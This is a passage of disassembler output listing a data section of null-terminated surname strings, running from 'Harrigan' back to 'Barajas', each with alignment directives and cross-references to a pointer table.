aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E3D8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E3D4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E3D0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E3CCo
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E3C8o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E3C4o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E3C0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E3BCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E3B8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E3B4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E3B0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E3ACo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E3A8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E3A4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E3A0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E39Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042E398o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E394o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E390o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E38Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E388o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E384o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E380o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E37Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E378o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E374o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E370o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E36Co
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E368o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E364o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E360o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E35Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E358o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E354o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E350o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E34Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E348o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E344o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042E340o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042E33Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042E338o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042E334o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042E330o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042E32Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042E328o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042E324o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042E320o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042E31Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042E318o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042E314o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042E310o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042E30Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042E308o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042E304o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042E300o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042E2FCo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042E2F8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042E2F4o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042E2F0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042E2ECo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042E2E8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042E2E4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042E2E0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042E2DCo
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042E2D8o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042E2D4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042E2D0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042E2CCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042E2C8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042E2C4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042E2C0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042E2BCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042E2B8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042E2B4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042E2B0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042E2ACo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042E2A4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042E2A0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042E29Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042E298o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042E294o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042E290o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042E28Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042E288o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042E284o
aFink		db 'Fink',0             ; DATA XREF: ___:0042E280o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042E27Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042E278o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042E274o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042E270o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042E26Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042E268o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042E264o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042E260o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042E25Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042E258o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042E254o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042E250o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042E24Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042E248o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042E244o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042E240o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042E23Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042E238o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042E234o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042E230o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042E22Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042E228o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042E224o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042E220o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042E21Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042E218o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042E214o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042E210o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042E20Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042E208o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042E204o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042E200o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042E1FCo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042E1F8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042E1F4o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042E1F0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042E1ECo
aEdward		db 'Edward',0           ; DATA XREF: ___:0042E1E8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042E1E4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042E1E0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042E1DCo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042E1D8o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042E1D4o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042E1D0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042E1CCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042E1C8o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042E1C4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042E1C0o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042E1BCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042E1B8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042E1B4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042E1B0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042E1ACo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042E1A8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042E1A4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042E1A0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042E19Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042E198o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042E194o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042E190o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042E18Co
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042E188o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042E184o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042E180o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042E17Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042E178o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042E174o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042E170o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042E16Co
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042E168o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042E164o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042E160o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042E15Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042E158o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042E154o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042E150o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042E148o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042E144o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042E140o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042E13Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042E138o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042E134o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042E130o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042E128o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042E124o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042E120o
aDavid		db 'David',0            ; DATA XREF: ___:0042E11Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042E118o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042E114o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042E110o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042E108o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042E104o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042E100o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042E0FCo
aDaly		db 'Daly',0             ; DATA XREF: ___:0042E0F8o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042E0F4o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042E0F0o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042E0ECo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042E0E8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042E0E4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042E0E0o
aCui		db 'Cui',0              ; DATA XREF: ___:0042E0DCo
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042E0D8o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042E0D4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042E0D0o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042E0CCo
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042E0C8o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042E0C4o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042E0C0o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042E0BCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042E0B8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042E0B4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042E0B0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042E0ACo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042E0A8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042E0A4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042E09Co
					; ___:0042E0A0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042E098o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042E094o
aColella	db 'Colella',0          ; DATA XREF: ___:0042E090o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042E08Co
aCoito		db 'Coito',0            ; DATA XREF: ___:0042E088o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042E084o
aClow		db 'Clow',0             ; DATA XREF: ___:0042E080o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042E07Co
aClement	db 'Clement',0          ; DATA XREF: ___:0042E078o
aClark		db 'Clark',0            ; DATA XREF: ___:0042E074o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042E070o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042E06Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042E068o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042E064o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042E060o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042E05Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042E058o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042E054o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042E050o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042E04Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042E048o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042E044o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042E040o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042E03Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042E038o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042E034o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042E030o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042E02Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042E028o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042E024o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042E020o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042E01Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042E018o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042E014o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042E010o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042E00Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042E008o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042E004o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042E000o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042DFF8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DFF4o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DFF0o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DFECo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DFE8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DFE4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DFE0o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DFDCo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DFD8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DFD4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DFD0o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DFCCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DFC8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DFC4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DFC0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DFBCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DFB8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DFB4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DFB0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DFACo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DFA8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DFA4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DFA0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DF9Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DF98o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DF94o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DF90o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DF8Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DF88o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DF84o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DF80o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DF7Co
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DF78o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DF74o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DF70o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DF68o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DF64o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DF60o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DF5Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DF58o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DF50o
					; ___:0042DF54o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DF4Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DF48o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DF44o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DF40o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DF3Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DF38o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DF34o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DF30o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DF2Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DF28o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DF24o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DF20o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DF1Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DF18o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DF14o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DF10o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DF0Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DF08o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DF04o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DF00o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DEFCo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DEF8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DEF4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DEF0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DEECo
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042DEE8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DEE4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DEE0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DEDCo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DED8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DED4o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DED0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DECCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DEC8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DEC4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DEC0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DEBCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DEB8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DEB4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DEB0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DEACo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DEA8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DEA4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DEA0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DE9Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DE98o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DE94o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DE90o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DE8Co
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DE88o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DE84o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DE80o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DE7Co
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DE78o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DE74o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DE70o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DE6Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DE68o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DE64o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DE60o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DE5Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DE58o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DE54o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DE50o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DE4Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DE48o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DE44o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DE40o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DE3Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DE38o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DE34o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DE30o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DE2Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042DE28o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DE24o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DE20o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DE1Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DE18o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DE14o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DE10o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DE0Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DE08o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DE04o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DE00o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DDFCo
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DDF8o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DDF4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DDF0o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DDECo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DDE8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DDE4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DDE0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DDDCo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DDD8o
